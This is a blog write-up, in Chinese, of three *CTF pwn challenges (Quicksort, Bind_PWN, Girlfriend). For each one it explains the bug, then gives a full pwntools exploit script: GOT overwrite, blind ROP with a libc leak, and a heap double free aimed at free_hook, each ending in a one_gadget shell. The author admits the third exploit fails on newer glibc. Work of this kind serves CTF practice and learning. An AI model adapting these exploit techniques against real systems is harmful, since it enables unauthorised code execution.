*CTF-pwn部分题解

Quicksort

简单的漏洞点,gets(&s)溢出。程序开了nx与canary。

图中有v0 = ptr + 4*i 。 *v0 = atoi(&s)

ptr是我们gets能够溢出到的地方,所以有一个任意地址写的漏洞。

具体可以先覆盖__stack_chk_fail 的got到main,可以循环利用。

然后再覆盖free_got为puts_got正好可以打印got,因为我的i为1,所以泄露的是gets。

得到libc后。

再写free为system_addr。

第四次在某个地址传入/bin/sh\x00,可以直接system(/bin/sh)。

PS :  这里比较懒,直接one_gadget覆盖free了。


from pwn import*

elf = ELF('./quicksort')

#libc= ELF('./libc.so.6')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

r= process('./quicksort')

#r = remote('34.92.96.238' ,10000)

#gdb.attach(r, 'b *0x80489A7')

r.recvuntil('sort?')

r.sendline('2')

r.recvuntil('number:')

payload1 = '134514710'+'\x00'*7 + p32(2) + p32(0) + p32(0)+ p32(elf.got['__stack_chk_fail'])

r.sendline(payload1)

r.recvuntil('number:')

payload2=  '134514022' + '\x00'*7 + p32(2) +p32(1) + p32(0) + p32(elf.got['free']-4)  + 'a'*0x4

r.sendline(payload2)

r.recvuntil('134514022')

r.recv(2)

gets_addr = u32(r.recv(4))

success('gets_addr -->'+hex(gets_addr))

libc_base  = gets_addr - 0x05f3e0

success('libc_base -->'+hex(libc_base))

one_gadget =  libc_base +0x3ac69

success('one_gadget -->'+hex(one_gadget))

r.sendline('1')

r.recv()

r.recvuntil('number:')

payload3 = '-'+ str(0xffffffff-one_gadget+1) +'\x00'*(15-len(str(0xffffffff-one_gadget + 1))) + p32(1) + p32(0) + p32(0) + p32(elf.got['atoi']) + 'deadbeef'

r.sendline(payload3)

r.sendline('1')

r.recvuntil('the 1th number:')

#pause()

r.sendline()

r.interactive()



Bind_PWN

这题可以跟着CTFwiki的brop做。很快就做出来了。

在找合适的gadget过程中,意外发现,0x400515可以打印栈里的数据,并且还会进行一次ret操作。

这样直接找到libc_start_main + 240 得到libc。

覆盖返回地址到one_gadget 。(PS:不使用system(/bin/sh)没有灵魂。。。。233)


from pwn import*

sh = remote('34.92.37.22',10000)

sh.sendline('a'*40  + p64(0x400515) + p64(0x400586))

sh.recvuntil('blind pwn!\n')

libc_base = u64(sh.recv()[72:80]) -240 -0x020740

one_gadget = libc_base + 0x45216

sh.sendline('a'*40 + p64(one_gadget))

sh.interactive()

#sh.sendline('a'*40  + p64(0x400585))

# main = 0x400586


Girlfriend

girlfriend 本地2.27可以,2.29出错,明明我是使用fastbin的啊。。。。。。tcache的检测我想了啊。。。。

我的思路是:(可能有误。。。)

填充了tcache7个,然后释放一个到unsortbin,打印,得到libc

再填充tcache7个,再释放0-->1-->0的fastbin做double_free。

申请过来的过程中,因为申请0的时候,修改fd时,程序会以为又释放了一个块,此时因为申请需要先把tcache的块先全部申请出来。所以这时我们打算申请覆盖的比如free_hook会在tcache里。

覆盖free_hook为one_gadget。

完成利用。


from pwn import*

context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

#context.log_level = "debug"

elf = ELF('./chall')

#libc =ELF('lib/libc.so.6')

r = process('./chall')

#r = remote('34.92.96.238',10001)

def add(size,name,call):

r.recvuntil('choice:')

r.sendline('1')

r.recvuntil("girl's name\n")

r.sendline(str(size))

r.recvuntil('her name:\n')

r.sendline(name)

r.recvuntil('her call:\n')

r.sendline(call)  # 12 bytes

def show(index):

r.recvuntil('choice:')

r.sendline('2')

r.recvuntil('index:\n')

r.sendline(str(index))

r.recvuntil('name:\n')

name = r.recvuntil('\n')[:-1]

r.recvuntil('phone:\n')

phone = r.recvuntil('\n')[:-1]

return u64(name.ljust(8,'\x00'))

def edit():

r.recvuntil('choice:')

        r.sendline('3')

r.recvuntil('a new info.\n')

def call(index):

r.recvuntil('choice:')

        r.sendline('4')

        r.recvuntil('index:\n')

r.sendline(str(index))

#gdb.attach(r)

for i in range(8):

    add(0x100,'','')#0-7

add(0x100,'','')#8

add(0x10,'','')#9

for i in range(7):

    call(i)

call(8)

#print show(8)

libc_base = show(8) -0x3ebc40 -0x60  #-0x3b1c40 -0x60 #- 0x1e4c40 -0x60

success('libc_base -->'+hex(libc_base))

#pause()

#malloc_hook =  0x3ebc30 + libc_base

free_hook  =  libc_base + 0x3ed8e8 #libc.symbols['__free_hook'] #+0x1e75a8 #+0x96310

success('free_hook -->'+hex(free_hook))

#system_addr =libc_base +0x4f440

one_gadget = libc_base + 0x4f322  #+ 0xdf991 #+ 0xe251f # +0x50186

success('one_gadget -->'+hex(one_gadget))

for i in range(7):

    add(0x60,'','') #10 - 16

add(0x60,'','') #17

add(0x60,'','') #18

add(0x60,'','') #19

for i in range(7):

    call(i+10)  # free(10-16)

call(17)

call(18)

call(17)

for i in range(7):

    add(0x60,'deadbeef', 'deadbeef')

add(0x60,p64(free_hook),'') #fastbin 0-1-0 then

add(0x60,'','')            #tcache input one free_hook

add(0x60,'','')

#pause()

def get_shell():

r.recvuntil('choice:')

r.sendline('1')

        r.recvuntil("girl's name\n")

        r.sendline(str(0x60))

        r.recvuntil('her name:\n')

        payload = p64(one_gadget) + '\x00'*0x8

        r.sendline(payload)

        r.recvuntil('her call:\n')

        r.sendline('deadbeef')

get_shell()

call(1)

r.interactive()


有没有大佬告诉我一下哪里错了。。。。。

还是太菜,打完一次自闭一次。。。。。

你可能感兴趣的:(*CTF-pwn部分题解)